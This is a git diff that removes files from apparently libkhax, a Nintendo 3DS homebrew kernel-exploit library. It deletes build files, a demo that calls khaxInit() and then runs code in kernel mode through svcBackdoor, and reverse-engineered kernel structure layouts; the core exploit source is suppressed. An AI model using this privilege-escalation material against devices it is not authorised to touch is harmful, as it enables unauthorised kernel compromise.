# rules for different file extensions
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
|
||||||
export TOPDIR := $(CURDIR)
|
|
||||||
|
|
||||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
|
||||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
|
||||||
|
|
||||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
|
||||||
|
|
||||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
|
||||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
|
||||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
|
||||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# use CXX for linking C++ projects, CC for standard C
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ifeq ($(strip $(CPPFILES)),)
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
export LD := $(CC)
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
else
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
export LD := $(CXX)
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
endif
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
|
||||||
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
|
||||||
|
|
||||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
|
||||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
|
||||||
-I$(CURDIR)/$(BUILD)
|
|
||||||
|
|
||||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
|
||||||
|
|
||||||
ifeq ($(strip $(ICON)),)
|
|
||||||
icons := $(wildcard *.png)
|
|
||||||
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
|
||||||
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
|
||||||
else
|
|
||||||
ifneq (,$(findstring icon.png,$(icons)))
|
|
||||||
export APP_ICON := $(TOPDIR)/icon.png
|
|
||||||
endif
|
|
||||||
endif
|
|
||||||
else
|
|
||||||
export APP_ICON := $(TOPDIR)/$(ICON)
|
|
||||||
endif
|
|
||||||
|
|
||||||
.PHONY: $(BUILD) clean all
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
all: $(BUILD)
|
|
||||||
|
|
||||||
$(BUILD):
|
|
||||||
@echo $(SFILES)
|
|
||||||
@[ -d $@ ] || mkdir -p $@
|
|
||||||
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
clean:
|
|
||||||
@echo clean ...
|
|
||||||
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
else
|
|
||||||
|
|
||||||
DEPENDS := $(OFILES:.o=.d)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# main targets
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ifeq ($(strip $(NO_SMDH)),)
|
|
||||||
.PHONY: all
|
|
||||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
|
||||||
endif
|
|
||||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
|
||||||
$(OUTPUT).3dsx : $(OUTPUT).elf
|
|
||||||
$(OUTPUT).elf : $(OFILES)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# you need a rule like this for each extension you use as binary data
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
%.bin.o : %.bin
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
@echo $(notdir $<)
|
|
||||||
@$(bin2o)
|
|
||||||
|
|
||||||
# WARNING: This is not the right way to do this! TODO: Do it right!
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
%.vsh.o : %.vsh
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
@echo $(notdir $<)
|
|
||||||
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
|
||||||
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
|
||||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
|
||||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
|
||||||
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
|
||||||
@rm ../$(notdir $<).shbin
|
|
||||||
|
|
||||||
-include $(DEPENDS)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------------
|
|
||||||
endif
|
|
||||||
#---------------------------------------------------------------------------------------
|
|
@ -1,22 +0,0 @@
|
|||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
|
||||||
# Visual Studio 2013
|
|
||||||
VisualStudioVersion = 12.0.31101.0
|
|
||||||
MinimumVisualStudioVersion = 10.0.40219.1
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|Win32 = Debug|Win32
|
|
||||||
Release|Win32 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32
|
|
||||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32
|
|
||||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32
|
|
||||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
@ -1,82 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{80EE495D-0A84-4089-A93E-2B9E2BC38F94}</ProjectGuid>
|
|
||||||
<RootNamespace>ctrklib</RootNamespace>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v120</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
|
||||||
<PlatformToolset>v120</PlatformToolset>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup />
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<SDLCheck>true</SDLCheck>
|
|
||||||
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<SDLCheck>true</SDLCheck>
|
|
||||||
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="../khaxinit.cpp" />
|
|
||||||
<ClCompile Include="main.c" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="Makefile" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="../khax.h" />
|
|
||||||
<ClInclude Include="../khaxinternal.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
@ -1,36 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="Source Files">
|
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files">
|
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
|
||||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Resource Files">
|
|
||||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
|
||||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="main.c">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="../khaxinit.cpp">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="Makefile" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="../khaxinternal.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="../khax.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
|
@ -1,139 +0,0 @@
|
|||||||
#ifndef LIBKHAX_AS_LIB
|
|
||||||
|
|
||||||
#include <3ds.h>
|
|
||||||
#include <3ds/services/am.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <malloc.h>
|
|
||||||
#include "../khax.h"
|
|
||||||
|
|
||||||
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
|
||||||
|
|
||||||
s32 g_backdoorResult = -1;
|
|
||||||
|
|
||||||
s32 dump_chunk_wrapper()
|
|
||||||
{
|
|
||||||
__asm__ volatile("cpsid aif");
|
|
||||||
g_backdoorResult = 0x6666abcd;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
|
|
||||||
Result test_am_access_inner(char *productCode)
|
|
||||||
{
|
|
||||||
// Title IDs of "mset" in the six regions
|
|
||||||
static const u64 s_msetTitleIDs[] =
|
|
||||||
{
|
|
||||||
0x0004001000020000, 0x0004001000021000, 0x0004001000022000,
|
|
||||||
0x0004001000026000, 0x0004001000027000, 0x0004001000028000
|
|
||||||
};
|
|
||||||
Result result;
|
|
||||||
char productCodeTemp[16 + 1];
|
|
||||||
unsigned x;
|
|
||||||
|
|
||||||
// Initialize "am"
|
|
||||||
result = amInit();
|
|
||||||
if (result != 0)
|
|
||||||
{
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check for the existence of the title IDs.
|
|
||||||
for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x)
|
|
||||||
{
|
|
||||||
result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp);
|
|
||||||
if (result == 0)
|
|
||||||
{
|
|
||||||
memcpy(productCode, productCodeTemp, sizeof(productCodeTemp));
|
|
||||||
amExit();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
amExit();
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Self-contained test.
|
|
||||||
void test_am_access_outer(int testNumber)
|
|
||||||
{
|
|
||||||
char productCode[16 + 1];
|
|
||||||
Result result = test_am_access_inner(productCode);
|
|
||||||
if (result != 0)
|
|
||||||
{
|
|
||||||
productCode[0] = '\0';
|
|
||||||
}
|
|
||||||
printf("amtest%d:%08lx %s\n", testNumber, result, productCode);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
// Initialize services
|
|
||||||
/* srvInit(); // mandatory
|
|
||||||
aptInit(); // mandatory
|
|
||||||
hidInit(NULL); // input (buttons, screen)*/
|
|
||||||
gfxInitDefault(); // graphics
|
|
||||||
/* fsInit();
|
|
||||||
sdmcInit();
|
|
||||||
hbInit();
|
|
||||||
qtmInit();*/
|
|
||||||
|
|
||||||
consoleInit(GFX_BOTTOM, NULL);
|
|
||||||
|
|
||||||
consoleClear();
|
|
||||||
|
|
||||||
test_am_access_outer(1); // test before libkhax
|
|
||||||
|
|
||||||
Result result = khaxInit();
|
|
||||||
printf("khaxInit returned %08lx\n", result);
|
|
||||||
|
|
||||||
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
|
|
||||||
|
|
||||||
test_am_access_outer(2); // test after libkhax
|
|
||||||
|
|
||||||
printf("khax demo main finished\n");
|
|
||||||
printf("Press X to exit\n");
|
|
||||||
|
|
||||||
khaxExit();
|
|
||||||
|
|
||||||
while (aptMainLoop())
|
|
||||||
{
|
|
||||||
// Wait next screen refresh
|
|
||||||
gspWaitForVBlank();
|
|
||||||
|
|
||||||
// Read which buttons are currently pressed
|
|
||||||
hidScanInput();
|
|
||||||
u32 kDown = hidKeysDown();
|
|
||||||
(void) kDown;
|
|
||||||
u32 kHeld = hidKeysHeld();
|
|
||||||
(void) kHeld;
|
|
||||||
|
|
||||||
// If START is pressed, break loop and quit
|
|
||||||
if (kDown & KEY_X){
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
//consoleClear();
|
|
||||||
|
|
||||||
// Flush and swap framebuffers
|
|
||||||
gfxFlushBuffers();
|
|
||||||
gfxSwapBuffers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Exit services
|
|
||||||
/* qtmExit();
|
|
||||||
hbExit();
|
|
||||||
sdmcExit();
|
|
||||||
fsExit();*/
|
|
||||||
gfxExit();
|
|
||||||
/* hidExit();
|
|
||||||
aptExit();
|
|
||||||
srvExit();*/
|
|
||||||
|
|
||||||
// Return to hbmenu
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif // LIBKHAX_AS_LIB
|
|
@ -1,16 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <3ds.h>
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Initialize and do the initial pwning of the ARM11 kernel.
|
|
||||||
Result khaxInit();
|
|
||||||
// Shut down libkhax
|
|
||||||
Result khaxExit();
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
File diff suppressed because it is too large
Load Diff
@ -1,337 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#ifdef KHAX_DEBUG
|
|
||||||
#define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
|
||||||
#else
|
|
||||||
#define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
|
|
||||||
// actually compile this program.
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
#undef ALIGN
|
|
||||||
#define ALIGN(x) __declspec(align(x))
|
|
||||||
#if _MSC_VER < 1900
|
|
||||||
#define alignof __alignof
|
|
||||||
#endif
|
|
||||||
#define KHAX_ATTRIBUTE(...)
|
|
||||||
#else
|
|
||||||
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
|
||||||
#define KHAX_UNUSED(...) static_cast<void>(__VA_ARGS__)
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
namespace KHAX
|
|
||||||
{
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// This code uses offsetof illegally (i.e. on polymorphic classes).
|
|
||||||
#pragma GCC diagnostic push
|
|
||||||
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// General linked list node kernel object.
|
|
||||||
struct KLinkedListNode
|
|
||||||
{
|
|
||||||
KLinkedListNode *next;
|
|
||||||
KLinkedListNode *prev;
|
|
||||||
void *data;
|
|
||||||
};
|
|
||||||
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Base class of reference-counted kernel objects.
|
|
||||||
class KAutoObject
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
u32 m_refCount; // +004
|
|
||||||
|
|
||||||
protected:
|
|
||||||
virtual ~KAutoObject() {}
|
|
||||||
};
|
|
||||||
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
|
|
||||||
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Base class of synchronizable objects.
|
|
||||||
class KSynchronizationObject : public KAutoObject
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
u32 m_threadSyncCount; // +008
|
|
||||||
KLinkedListNode *m_threadSyncFirst; // +00C
|
|
||||||
KLinkedListNode *m_threadSyncLast; // +010
|
|
||||||
};
|
|
||||||
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
|
|
||||||
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
|
|
||||||
"KSynchronizationObject isn't the expected layout.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
struct KDebugThread;
|
|
||||||
struct KThreadLocalPage;
|
|
||||||
class KCodeSet;
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Unofficial name
|
|
||||||
typedef u8 KSVCACL[0x80 / 8];
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// ARM VFP register
|
|
||||||
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
|
|
||||||
{
|
|
||||||
float m_single[2];
|
|
||||||
double m_double;
|
|
||||||
};
|
|
||||||
static_assert(alignof(VFPRegister) == 0x004,
|
|
||||||
"VFPRegister isn't the expected alignment.");
|
|
||||||
static_assert(sizeof(VFPRegister) == 0x008,
|
|
||||||
"VFPRegister isn't the expected size.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// SVC-mode register save area.
|
|
||||||
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
|
||||||
struct SVCRegisterState
|
|
||||||
{
|
|
||||||
u32 m_r4; // +000
|
|
||||||
u32 m_r5; // +004
|
|
||||||
u32 m_r6; // +008
|
|
||||||
u32 m_r7; // +00C
|
|
||||||
u32 m_r8; // +010
|
|
||||||
u32 m_r9; // +014
|
|
||||||
u32 m_sl; // +018
|
|
||||||
u32 m_fp; // +01C
|
|
||||||
u32 m_sp; // +020
|
|
||||||
u32 m_lr; // +024
|
|
||||||
};
|
|
||||||
static_assert(sizeof(SVCRegisterState) == 0x028,
|
|
||||||
"SVCRegisterState isn't the expected size.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// SVC-mode thread state structure. This is the last part of the per-
|
|
||||||
// thread page allocated in 0xFF4XX000.
|
|
||||||
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
|
||||||
struct SVCThreadArea
|
|
||||||
{
|
|
||||||
KSVCACL m_svcAccessControl; // +000
|
|
||||||
u32 m_unknown010; // +010
|
|
||||||
u32 m_unknown014; // +014
|
|
||||||
SVCRegisterState m_svcRegisterState; // +018
|
|
||||||
VFPRegister m_vfpRegisters[16]; // +040
|
|
||||||
u32 m_unknown0C4; // +0C0
|
|
||||||
u32 m_fpexc; // +0C4
|
|
||||||
};
|
|
||||||
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
|
|
||||||
"ThreadSVCArea isn't the expected layout.");
|
|
||||||
static_assert(sizeof(SVCThreadArea) == 0x0C8,
|
|
||||||
"ThreadSVCArea isn't the expected size.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Kernel's internal structure of a thread object.
|
|
||||||
class KThread : public KSynchronizationObject
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
u32 m_unknown014; // +014
|
|
||||||
u32 m_unknown018; // +018
|
|
||||||
u32 m_unknown01C; // +01C
|
|
||||||
u32 m_unknown020; // +020
|
|
||||||
u32 m_unknown024; // +024
|
|
||||||
u32 m_unknown028; // +028
|
|
||||||
u32 m_unknown02C; // +02C
|
|
||||||
u32 m_unknown030; // +030
|
|
||||||
u32 m_unknown034; // +034
|
|
||||||
KDebugThread *m_debugThread; // +038
|
|
||||||
s32 m_threadPriority; // +03C
|
|
||||||
void *m_waitingOnObject; // +040
|
|
||||||
u32 m_unknown044; // +044
|
|
||||||
KThread **m_schedulerUnknown048; // +048
|
|
||||||
void *m_arbitrationAddress; // +04C
|
|
||||||
u32 m_unknown050; // +050
|
|
||||||
u32 m_unknown054; // +054
|
|
||||||
u32 m_unknown058; // +058
|
|
||||||
KLinkedListNode *m_waitingOnList; // +05C
|
|
||||||
u32 m_unknownListCount; // +060
|
|
||||||
KLinkedListNode *m_unknownListHead; // +064
|
|
||||||
KLinkedListNode *m_unknownListTail; // +068
|
|
||||||
s32 m_threadPriority2; // +06C
|
|
||||||
s32 m_creatingProcessor; // +070
|
|
||||||
u32 m_unknown074; // +074
|
|
||||||
u32 m_unknown078; // +078
|
|
||||||
u16 m_unknown07C; // +07C
|
|
||||||
u8 m_threadType; // +07E
|
|
||||||
u8 m_padding07F; // +07F
|
|
||||||
void *m_process; // +080
|
|
||||||
u32 m_threadID; // +084
|
|
||||||
SVCRegisterState *m_svcRegisterState; // +088
|
|
||||||
void *m_svcPageEnd; // +08C
|
|
||||||
s32 m_idealProcessor; // +090
|
|
||||||
void *m_tlsUserMode; // +094
|
|
||||||
void *m_tlsKernelMode; // +098
|
|
||||||
u32 m_unknown09C; // +09C
|
|
||||||
KThread *m_prev; // +0A0
|
|
||||||
KThread *m_next; // +0A4
|
|
||||||
KThread **m_temporaryLinkedList; // +0A8
|
|
||||||
u32 m_unknown0AC; // +0B0
|
|
||||||
};
|
|
||||||
static_assert(sizeof(KThread) == 0x0B0,
|
|
||||||
"KThread isn't the expected size.");
|
|
||||||
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
|
|
||||||
"KThread isn't the expected layout.");
|
|
||||||
|
|
||||||
//------------------------------------------------------------------------------------------------
|
|
||||||
// Kernel's internal structure of a process object.
|
|
||||||
// Version 1.0.0(?) - 7.2.0
|
|
||||||
class KProcess_1_0_0_Old : public KSynchronizationObject
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
u32 m_unknown014; // +014
|
|
||||||
u32 m_unknown018; // +018
|
|
||||||
KThread *volatile m_interactingThread; // +01C
|
|
||||||
u16 m_unknown020; // +020
|
|
||||||
u16 m_unknown022; // +022
|
|
||||||
u32 m_unknown024; // +024
|
|
||||||
u32 m_unknown028; // +028
|
|
||||||
u32 m_memoryBlockCount; // +02C
|
|
||||||
KLinkedListNode *m_memoryBlockFirst; // +030
|
|
||||||
KLinkedListNode *m_memoryBlockLast; // +034
|
|
||||||
u32 m_unknown038; // +038
|
|
||||||
u32 m_unknown03C; // +03C
|
|
||||||
void *m_translationTableBase; // +040
|
|
||||||
u8 m_contextID; // +044
|
|
||||||
u32 m_unknown048; // +048
|
|
||||||
u32 m_unknown04C; // +04C
|
|
||||||
u32 m_mmuTableSize; // +050
|
|
||||||
void *m_mmuTableAddress; // +054
|
|
||||||
u32 m_threadContextPagesSize; // +058
|
|
||||||
u32 m_threadLocalPageCount; // +05C
|
|
||||||
KLinkedListNode *m_threadLocalPageFirst; // +060
|
|
||||||
KLinkedListNode *m_threadLocalPageLast; // +064
|
|
||||||
u32 m_unknown068; // +068
|
|
||||||
s32 m_idealProcessor; // +06C
|
|
||||||
u32 m_unknown070; // +070
|
|
||||||
void *m_resourceLimits; // +074
|
|
||||||
u8 m_unknown078; // +078
|
|
||||||
u8 m_affinityMask; // +079
|
|
||||||
u32 m_threadCount; // +07C
|
|
||||||
KSVCACL m_svcAccessControl; // +080
|
|
||||||
u32 m_interruptFlags[0x80 / 32]; // +090
|
|
||||||
u32 m_kernelFlags; // +0A0
|
|
||||||
u16 m_handleTableSize; // +0A4
|
|
||||||
u16 m_kernelReleaseVersion; // +0A6
|
|
||||||
KCodeSet *m_codeSet; // +0A8
|
|
||||||
u32 m_processID; // +0AC
|
|
||||||
u32 m_kernelFlags2; // +0B0
|
|
||||||
u32 m_unknown0B4; // +0B4
